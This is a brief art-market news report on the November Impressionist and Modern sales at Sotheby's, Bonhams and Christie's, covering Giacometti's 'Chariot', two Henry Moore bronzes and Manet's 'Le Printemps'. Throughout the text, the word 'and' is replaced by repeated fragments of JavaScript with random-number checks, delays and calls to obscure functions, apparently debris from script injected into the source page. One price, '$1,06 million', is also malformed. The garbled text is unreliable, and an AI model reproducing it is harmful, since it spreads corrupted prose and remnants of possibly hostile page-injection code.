NEW YORK CITY — Red versus blue made the television news headlines on November 4, but the dominant color in salesrooms of the major auction houses was green — as big money came out to vote for iconic examples of Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art.

Sotheby’s evening sale of Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art on November 4 totaled $422.1 million, marking the highest total for any auction in Sotheby’s history. The procession was led by Alberto Giacometti’s masterful “Chariot,” which sold for $100,965,000, becoming the second sculpture to cross the $100 million threshold. The price realized for the painted bronze on wooden base is the second-highest auction price for the artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and second-highest price for any sculpture at auction.

Bonhams’ Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern Art auction November 4 saw strong bidding at all levels, realizing a total of $4.1 million, led by two bronzes by Henry Moore that together sold for $1.34 million. The sculptures came from the estate of actress Lauren Bacall, a friend of the artist. “Working Model for Reclining Figure: Bone Skirt” realized $1,06 million, considerably in excess of the high estimate.

Meanwhile, at Christie’s on the following evening, November 5, Édouard Manet’s (1832–1883) “Le Printemps,” an oil on canvas painted in 1881, set a world auction record for the artist when the gavel came down at $65,125,000. The buyer was the J. Paul Getty Museum in Los Angeles. Actress Jeanne Demarsy is cast as an allegory of spring, a theme artists embraced since antiquity, yet executed in the artist’s groundbreaking painterly style andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in a vanguard setting.

A complete review of these sales will appear in an upcoming issue of Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Arts Weekly.